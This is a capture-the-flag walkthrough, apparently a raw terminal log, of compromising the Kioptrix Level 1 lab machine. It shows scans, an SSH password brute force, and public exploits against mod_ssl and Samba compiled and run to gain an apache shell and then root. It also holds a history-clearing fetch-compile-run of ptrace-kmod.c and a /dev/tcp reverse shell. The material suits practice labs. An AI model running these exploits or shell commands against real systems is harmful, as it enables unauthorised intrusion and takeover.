Kioptrix Level 1

Discoverying Network

```
┌─[✗]─[cyberman@parrot]─[~]
└──╼ $sudo netdiscover -r 192.168.0.1/24
```

```
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 26 Captured ARP Req/Rep packets, from 6 hosts.   Total size: 1560
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.0.1     60:a4:b7:d7:f6:cf     18    1080  TP-Link Corporation Limited
 192.168.0.108   9c:14:63:26:e5:f1      2     120  Zhejiang Dahua Technology Co
 192.168.0.125   3c:7c:3f:5d:4d:41      2     120  ASUSTek COMPUTER INC.
 192.168.0.126   08:00:27:07:5d:fc      2     120  PCS Systemtechnik GmbH
 192.168.0.220   02:cc:d9:fc:f7:1c      1      60  Unknown vendor
 192.168.0.124   16:c2:29:1e:f0:ae      1      60  Unknown vendor
```

```
┌─[cyberman@parrot]─[~]
└──╼ $sudo arp-scan 192.168.0.1/24
[sudo] password for cyberman:
Interface: enp0s3, type: EN10MB, MAC: 08:00:27:6c:89:30, IPv4: 192.168.0.226
WARNING: host part of 192.168.0.1/24 is non-zero
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1     60:a4:b7:d7:f6:cf     (Unknown)
192.168.0.108 9c:14:63:26:e5:f1     Zhejiang Dahua Technology Co., Ltd.
192.168.0.125 3c:7c:3f:5d:4d:41     (Unknown)
192.168.0.126     08:00:27:07:5d:fc       PCS Systemtechnik GmbH
192.168.0.220 02:cc:d9:fc:f7:1c     (Unknown: locally administered)
192.168.0.124 16:c2:29:1e:f0:ae     (Unknown: locally administered)

8 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.887 seconds (88.67 hosts/sec). 6 responded
```

Nmap Scan

```
┌─[✗]─[cyberman@parrot]─[~]
└──╼ $nmap -sV -p- -Pn -T5 -A -o Kioptrix_1_nmapscan.txt 192.168.0.126 -vvvv
Warning: The -o option is deprecated. Please use -oN
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 21:05 IST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:05
Completed NSE at 21:05, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:05
Completed NSE at 21:05, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:05
Completed NSE at 21:05, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 21:05
Completed Parallel DNS resolution of 1 host. at 21:05, 0.04s elapsed
DNS resolution of 1 IPs took 0.04s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 21:05
Scanning 192.168.0.126 [65535 ports]
Discovered open port 139/tcp on 192.168.0.126
Discovered open port 443/tcp on 192.168.0.126
Discovered open port 22/tcp on 192.168.0.126
Discovered open port 111/tcp on 192.168.0.126
Discovered open port 80/tcp on 192.168.0.126
Discovered open port 32768/tcp on 192.168.0.126
Completed Connect Scan at 21:05, 7.36s elapsed (65535 total ports)
Initiating Service scan at 21:05
Scanning 6 services on 192.168.0.126
Completed Service scan at 21:05, 6.07s elapsed (6 services on 1 host)
NSE: Script scanning 192.168.0.126.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:05
Completed NSE at 21:06, 10.36s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:06
Completed NSE at 21:06, 1.26s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:06
Completed NSE at 21:06, 0.01s elapsed
Nmap scan report for 192.168.0.126
Host is up, received user-set (0.00036s latency).
Scanned at 2023-03-07 21:05:35 IST for 26s
Not shown: 65529 closed tcp ports (conn-refused)
PORT      STATE SERVICE     REASON  VERSION
22/tcp    open  ssh         syn-ack OpenSSH 2.9p2 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:
|   1024 b8746cdbfd8be666e92a2bdf5e6f6486 (RSA1)
| 1024 35
109482092953601530927446985143812377560925655194254170270380314520841776849335628258408994190413
|   1024 8f8e5b81ed21abc180e157a33c85c471 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAKtycvxuV/e7s2cN74HyTZXHXiBrwyiZe/PKT/-
inuT5NDSQTPsGiyJZU4gefPAsYKSw5wLe28TDlZWHAdXpNdwyn4QrFQBjwFR+8WbFiAZBoWlSfQPR2RQW8i32Y2P2V79
DGsGx0k6CqGwAAAIBVpBtIHbhvoQdN0WPe8d6OzTTFvdNRa8pWKzV1Hpw+e3qsC4LYHAy1NoeaqK8uJP9203MEkxrd2
8EXlKAco7vC1dr/QWae+NEkI1a38x0Ml545vHAGFaVUWkffHekjhR476Uq4N4qeLfFp5B+v+9flLxYVYsY/-
ymJKpNgAAAIEApyjrqjgX0AE4fSBFntGFWM3j5M3lc5jw/-
0qufXlHJu8sZG0FRf9wTI6HlJHHslKHA7FZ33vGLq3TRmvZucJZ0l55fV2ASS9uvQRE+c8P6w72YCzgJN7v4hYXxnY4RiWvI
```

F6ApQEUJc742i6Fn54FEYAIy5goatGFMwpVq3Q=
| 1024 ed4ea94a0614ff1514ceda3a80dbe281 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvv8UUWsrO7+VCG/-
rTWY72jElft4WXfXGWybh141E8XnWxMCu+R1qdocxhh+4Clz8wO9beuZzG1rjlAD+XHiR3j2P+sw6UODeyBkuP24a+7V8

80/tcp open http syn-ack Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)

|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-methods:
| Supported Methods: GET HEAD OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-title: Test Page for the Apache Web Server on Red Hat Linux

111/tcp open rpcbind syn-ack 2 (RPC #100000)

| rpcinfo:
| program version   port/proto service
| 100000 2   111/tcp   rpcbind
| 100000 2   111/udp   rpcbind
| 100024 1   32768/tcp   status
|_ 100024 1   32768/udp   status

139/tcp open netbios-ssn syn-ack Samba smbd (workgroup: MYGROUP)

443/tcp open ssl/https syn-ack Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/-0.9.6b

|_ssl-date: 2023-03-07T20:36:00+00:00; +4h59m59s from scanner time.
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/-
stateOrProvinceName=SomeState/countryName=--/emailAddress=root@localhost.localdomain/-
organizationalUnitName=SomeOrganizationalUnit/localityName=SomeCity
| Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/-
stateOrProvinceName=SomeState/countryName=--/emailAddress=root@localhost.localdomain/-
organizationalUnitName=SomeOrganizationalUnit/localityName=SomeCity
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: md5WithRSAEncryption
| Not valid before: 2009-09-26T09:32:06
| Not valid after: 2010-09-26T09:32:06
| MD5:   78ce52934723e7fec28d74ab42d702f1
| SHA-1: 9c4291c3bed2a95b983d10acf766ecb987661d33
| -----BEGIN CERTIFICATE-----
| MIIEDDCCA3WgAwIBAgIBADANBgkqhkiG9w0BAQQFADCBuzELMAkGA1UEBhMCLS0x
| EjAQBgNVBAgTCVNvbWVTdGF0ZTERMA8GA1UEBxMIU29tZUNpdHkxGTAXBgNVBAoT
| EFNvbWVPcmdhbml6YXRpb24xHzAdBgNVBAsTFlNvbWVPcmdhbml6YXRpb25hbFVu
| aXQxHjAcBgNVBAMTFWxvY2FsaG9zdC5sb2NhbGRvbWFpbjEpMCcGCSqGSIb3DQEJ
| ARYacm9vdEBsb2NhbGhvc3QubG9jYWxkb21haW4wHhcNMDkwOTI2MDkzMjA2WhcN
| MTAwOTI2MDkzMjA2WjCBuzELMAkGA1UEBhMCLS0xEjAQBgNVBAgTCVNvbWVTdGF0
| ZTERMA8GA1UEBxMIU29tZUNpdHkxGTAXBgNVBAoTEFNvbWVPcmdhbml6YXRpb24x
| HzAdBgNVBAsTFlNvbWVPcmdhbml6YXRpb25hbFVuaXQxHjAcBgNVBAMTFWxvY2Fs
| aG9zdC5sb2NhbGRvbWFpbjEpMCcGCSqGSIb3DQEJARYacm9vdEBsb2NhbGhvc3Qu
| bG9jYWxkb21haW4wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAM4BXiK5bWlS
| ob4B6a9ALmKDbSxqoMcM3pvGHscFsJs+fHHn+CjU1DX44LPDNOwwOl6Uqb+GtZJv
| 6juVetDwcTbbocC2BM+6x6gyV/H6aYuCssCwrOuVKWp7l9xVpadjITUmhh+uB81q
| yqopt//Z4THww7SezLJQXi1+Grmp3iFDAgMBAAGjggEcMIIBGDAdBgNVHQ4EFgQU
| 7OdRS0NrbNB8gE9qUjcw8LF8xKAwgegGA1UdIwSB4DCB3YAU7OdRS0NrbNB8gE9q
| Ujcw8LF8xKChgcGkgb4wgbsxCzAJBgNVBAYTAi0tMRIwEAYDVQQIEwlTb21lU3Rh
| dGUxETAPBgNVBAcTCFNvbWVDaXR5MRkwFwYDVQQKExBTb21lT3JnYW5pemF0aW9u
| MR8wHQYDVQQLExZTb21lT3JnYW5pemF0aW9uYWxVbml0MR4wHAYDVQQDExVsb2Nh
| bGhvc3QubG9jYWxkb21haW4xKTAnBgkqhkiG9w0BCQEWGnJvb3RAbG9jYWxob3N0
| LmxvY2FsZG9tYWluggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEEBQADgYEA
| Vgrmpprfkmd8vy0E0UmZvWdIcDrlYRvUWcwSFwc6bGqJeJr0CYSB+jDQzA6Cu7nt
| xjrlXxEjHFBBbF4iEMJDnuQTFGvICQIcrqJoH3lqAO73u4TeBDjhv5n+h+S37CHd
| 1lvgRgoOay9dWaLKOyUThgKF2HcPWMZIj2froo5eihM=
|_-----END CERTIFICATE-----
| sslv2:

```
|   SSLv2 supported
|   ciphers:
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|_    SSL2_DES_192_EDE3_CBC_WITH_MD5
|_http-title: 400 Bad Request
| http-methods:
|_  Supported Methods: GET HEAD POST
32768/tcp open  status     syn-ack 1 (RPC #100024)

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: 4h59m58s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 45242/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 56853/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 6181/udp): CLEAN (Failed to receive data)
|   Check 4 (port 23573/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
| nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| Names:
|   KIOPTRIX<00>        Flags: <unique><active>
|   KIOPTRIX<03>        Flags: <unique><active>
|   KIOPTRIX<20>        Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   MYGROUP<00>         Flags: <group><active>
|   MYGROUP<1d>         Flags: <unique><active>
|   MYGROUP<1e>         Flags: <group><active>
| Statistics:
|   000000000000000000000000000000000
|   000000000000000000000000000000000
|_  00000000000000000000000000

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:06
Completed NSE at 21:06, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:06
Completed NSE at 21:06, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:06
Completed NSE at 21:06, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.55 seconds
```

Port 22 SSH

```
[msf](Jobs:0 Agents:0) >> use auxiliary/scanner/ssh/ssh_login
[msf](Jobs:0 Agents:0) auxiliary(scanner/ssh/ssh_login) >> show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted:
none, user, user&realm)
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/-
basics/using-metasploit.html
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts


View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) auxiliary(scanner/ssh/ssh_login) >> set RHOSTS 192.168.0.126
RHOSTS => 192.168.0.126
[msf](Jobs:0 Agents:0) auxiliary(scanner/ssh/ssh_login) >> set USERNAME root
USERNAME => root
[msf](Jobs:0 Agents:0) auxiliary(scanner/ssh/ssh_login) >> set PASS_FILE /usr/share/wordlists/metasploit/-
password.lst
PASS_FILE => /usr/share/wordlists/metasploit/password.lst
[msf](Jobs:0 Agents:0) auxiliary(scanner/ssh/ssh_login) >> run

[*] 192.168.0.126:22 - Starting bruteforce
[-] 192.168.0.126:22 - Failed: 'root:!@#$%'
[!] No active DB -- Credential data will not be saved!
[-] 192.168.0.126:22 - Failed: 'root:!@#$%^'
[-] 192.168.0.126:22 - Failed: 'root:!@#$%^&'
[-] 192.168.0.126:22 - Failed: 'root:!@#$%^&*'
[-] 192.168.0.126:22 - Failed: 'root:!boerbul'
[-] 192.168.0.126:22 - Failed: 'root:!boerseun'
[-] 192.168.0.126:22 - Failed: 'root:!gatvol'
[-] 192.168.0.126:22 - Failed: 'root:!hotnot'
[-] 192.168.0.126:22 - Failed: 'root:!kak'
[-] 192.168.0.126:22 - Failed: 'root:!koedoe'
[-] 192.168.0.126:22 - Failed: 'root:!likable'
[-] 192.168.0.126:22 - Failed: 'root:!poes'
[-] 192.168.0.126:22 - Failed: 'root:!pomp'
[-] 192.168.0.126:22 - Failed: 'root:!soutpiel'
[-] 192.168.0.126:22 - Failed: 'root:.net'
[-] 192.168.0.126:22 - Failed: 'root:0'
[-] 192.168.0.126:22 - Failed: 'root:000000'
```

[-] 192.168.0.126:22 - Failed: 'root:00000000'
[-] 192.168.0.126:22 - Failed: 'root:0007'
[-] 192.168.0.126:22 - Failed: 'root:007'
[-] 192.168.0.126:22 - Failed: 'root:007007'
[-] 192.168.0.126:22 - Failed: 'root:0s'
[-] 192.168.0.126:22 - Failed: 'root:0th'
[-] 192.168.0.126:22 - Failed: 'root:1'
[-] 192.168.0.126:22 - Failed: 'root:10'
[-] 192.168.0.126:22 - Failed: 'root:100'
[-] 192.168.0.126:22 - Failed: 'root:1000'
[-] 192.168.0.126:22 - Failed: 'root:1000s'
[-] 192.168.0.126:22 - Failed: 'root:100s'
[-] 192.168.0.126:22 - Failed: 'root:1022'
[-] 192.168.0.126:22 - Failed: 'root:10s'
[-] 192.168.0.126:22 - Failed: 'root:10sne1'
[-] 192.168.0.126:22 - Failed: 'root:1111'
[-] 192.168.0.126:22 - Failed: 'root:11111'
[-] 192.168.0.126:22 - Failed: 'root:111111'
[-] 192.168.0.126:22 - Failed: 'root:11111111'
[-] 192.168.0.126:22 - Failed: 'root:112233'
[-] 192.168.0.126:22 - Failed: 'root:1212'
[-] 192.168.0.126:22 - Failed: 'root:121212'
[-] 192.168.0.126:22 - Failed: 'root:1213'
[-] 192.168.0.126:22 - Failed: 'root:1214'
[-] 192.168.0.126:22 - Failed: 'root:1225'
[-] 192.168.0.126:22 - Failed: 'root:123'
[-] 192.168.0.126:22 - Failed: 'root:123123'
[-] 192.168.0.126:22 - Failed: 'root:123321'
[-] 192.168.0.126:22 - Failed: 'root:1234'
[-] 192.168.0.126:22 - Failed: 'root:12345'
[-] 192.168.0.126:22 - Failed: 'root:123456'
[-] 192.168.0.126:22 - Failed: 'root:1234567'
[-] 192.168.0.126:22 - Failed: 'root:12345678'
[-] 192.168.0.126:22 - Failed: 'root:123456789'
[-] 192.168.0.126:22 - Failed: 'root:1234567890'
[-] 192.168.0.126:22 - Failed: 'root:1234qwer'
[-] 192.168.0.126:22 - Failed: 'root:123abc'
[-] 192.168.0.126:22 - Failed: 'root:123go'
[-] 192.168.0.126:22 - Failed: 'root:123qwe'
[-] 192.168.0.126:22 - Failed: 'root:1313'
[-] 192.168.0.126:22 - Failed: 'root:131313'

Port 80,443

```
┌─[cyberman@parrot]─[~]
└──╼ $nikto -h 192.168.0.126
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          192.168.0.126
+ Target Hostname:    192.168.0.126
+ Target Port:        80
+ Start Time:         2023-03-08 01:20:37 (GMT5.5)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: 0x3b96e9ae
+ The anti-clickjacking X-Frame-Options header is not present.
Use of each() on hash after insertion without resetting hash iterator results in undefined behavior, Perl
interpreter: 0x55887438c2a0 at /usr/share/perl5/LW2.pm line 947.
Use of each() on hash after insertion without resetting hash iterator results in undefined behavior, Perl
interpreter: 0x55887438c2a0 at /usr/share/perl5/LW2.pm line 947.
Use of each() on hash after insertion without resetting hash iterator results in undefined behavior, Perl
interpreter: 0x55887438c2a0 at /usr/share/perl5/LW2.pm line 947.
Use of each() on hash after insertion without resetting hash iterator results in undefined behavior, Perl
interpreter: 0x55887438c2a0 at /usr/share/perl5/LW2.pm line 947.
Use of each() on hash after insertion without resetting hash iterator results in undefined behavior, Perl
interpreter: 0x55887438c2a0 at /usr/share/perl5/LW2.pm line 947.
Use of each() on hash after insertion without resetting hash iterator results in undefined behavior, Perl
interpreter: 0x55887438c2a0 at /usr/share/perl5/LW2.pm line 947.
Use of each() on hash after insertion without resetting hash iterator results in undefined behavior, Perl
interpreter: 0x55887438c2a0 at /usr/share/perl5/LW2.pm line 947.
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ OSVDB-637: Enumeration of users is possible by requesting ~username (responds with 'Forbidden' for users,
'not found' for non-existent users).
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1c). OpenSSL 0.9.8r is also current.
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.2.22). Apache 1.3.42 (final
release) and 2.0.64 are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code
execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows
attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and
mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote
shell (difficult to exploit). CVE-2002-0082, OSVDB-756.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site
Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ 6544 items checked: 0 error(s) and 19 item(s) reported on remote host
+ End Time:           2023-03-08 01:20:50 (GMT5.5) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

\-

```
┌─[✗]─[cyberman@parrot]─[~]
└──╼ $dirb http://192.168.0.126/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Wed Mar  8 01:21:07 2023
URL_BASE: http://192.168.0.126/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.0.126/ ----
+ http://192.168.0.126/~operator (CODE:403|SIZE:273)
+ http://192.168.0.126/~root (CODE:403|SIZE:269)
+ http://192.168.0.126/cgi-bin/ (CODE:403|SIZE:272)
+ http://192.168.0.126/index.html (CODE:200|SIZE:2890)
==> DIRECTORY: http://192.168.0.126/manual/
==> DIRECTORY: http://192.168.0.126/mrtg/
==> DIRECTORY: http://192.168.0.126/usage/

---- Entering directory: http://192.168.0.126/manual/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.0.126/mrtg/ ----
+ http://192.168.0.126/mrtg/index.html (CODE:200|SIZE:17318)

---- Entering directory: http://192.168.0.126/usage/ ----
+ http://192.168.0.126/usage/index.html (CODE:200|SIZE:4833)

-----------------
END_TIME: Wed Mar  8 01:21:21 2023
DOWNLOADED: 13836 - FOUND: 6

----------------------------------------------------------------------------------------------------------------------------------------------------------------
-

┌─[cyberman@parrot]─[~]
└──╼ $searchsploit mod_ssl
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
Apache mod_ssl 2.0.x - Remote Denial of Servi | linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAccess Bu | multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2. | unix/remote/47080.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2. | unix/remote/764.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-bet | unix/remote/40347.txt
---------------------------------------------- ---------------------------------
Shellcodes: No Results
┌─[cyberman@parrot]─[~]
└──╼ $searchsploit -m 764.c
  Exploit: Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)
      URL: https://www.exploit-db.com/exploits/764
     Path: /usr/share/exploitdb/exploits/unix/remote/764.c
File Type: C source, ASCII text
```

```
Copied to: /home/cyberman/764.c

┌─[✗]─[cyberman@parrot]─[~]
└──╼ $gcc 764.c -o 764 -lcrypto


┌─[✗]─[cyberman@parrot]─[~]
└──╼ $./764 |grep "1.3.20"
       0x02 - Cobalt Sun 6.0 (apache-1.3.20)
       0x27 - FreeBSD (apache-1.3.20)
       0x28 - FreeBSD (apache-1.3.20)
       0x29 - FreeBSD (apache-1.3.20+2.8.4)
       0x2a - FreeBSD (apache-1.3.20_1)
       0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
       0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
       0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
       0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
       0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
       0x7e - Slackware Linux 8.0 (apache-1.3.20)
       0x86 - SuSE Linux 7.3 (apache-1.3.20)

┌─[✗]─[cyberman@parrot]─[~]
└──╼ $./764 0x6a 192.168.0.126 443 -c 40

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f1c90
Ready to send shellcode
Spawning shell...
Good Bye!

┌─[cyberman@parrot]─[~]
└──╼ $./764 0x6b 192.168.0.126 443 -c 40

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8088
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
```

bash-2.05$
bash-2.05$ unset HISTFILE; cd /tmp; wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p;
--20:57:40-- http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
        => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:80... connected!
HTTP request sent, awaiting response...
20:57:41 ERROR -1: Malformed status line.

gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./p: No such file or directory
bash-2.05$
bash-2.05$
whoami
apache
bash-2.05$

Port 139

```
[msf](Jobs:0 Agents:0) >> use auxiliary/scanner/smb/smb_version
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> show options

Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/-
using-metasploit.html
   THREADS  1                yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> set RHOST 192.168.0.126
RHOST => 192.168.0.126
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> exploit

[*] 192.168.0.126:139     - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.0.126:139     -   Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.0.126:        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```
┌─[✗]─[cyberman@parrot]─[~]
└──╼ $searchsploit Samba 2.2.1a
---------------------------------------------------------------------------------------------------------------------------------------------
--------------------------------
 Exploit Title                                                                                    |  Path
---------------------------------------------------------------------------------------------------------------------------------------------
--------------------------------
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow
(Metasploit)                                                                    | osx/remote/9924.rb
Samba < 2.2.8 (Linux/BSD) - Remote Code
Execution                                                                       | multiple/remote/10.c
Samba < 3.0.20 - Remote Heap
Overflow                                                                             | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)
| linux_x86/dos/36741.py
---------------------------------------------------------------------------------------------------------------------------------------------
--------------------------------
Shellcodes: No Results
```

```
┌─[✗]─[cyberman@parrot]─[~]
└──╼ $searchsploit -m 10.c
  Exploit: Samba < 2.2.8 (Linux/BSD) - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/10
     Path: /usr/share/exploitdb/exploits/multiple/remote/10.c
File Type: C source, ASCII text

Copied to: /home/cyberman/10.c


┌─[cyberman@parrot]─[~]
└──╼ $gcc 10.c -o 10
┌─[cyberman@parrot]─[~]
```

└──╼ $./10
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)

Usage: ./10 [-bBcCdfprsStv] [host]

-b <platform>   bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step>   bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay>   bruteforce/scanmode delay in micro seconds (default = 100000)
-f   force
-p <port>   port to attack (default = 139)
-r <ret>   return address
-s   scan mode (random)
-S <network>   scan mode
-t <type>   presets (0 for a list)
-v   verbose mode

┌─[✗]─[cyberman@parrot]─[~]
└──╼ $./10 -b 0 192.168.0.126
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)

+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!

*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
whoami
root
id
uid=0(root) gid=0(root) groups=99(nobody)

bash -i >& /dev/tcp/192.168.0.226/4444 0>&1

┌─[✗]─[cyberman@parrot]─[~]
└──╼ $nc -nlvp 4444
listening on [any] 4444 ...
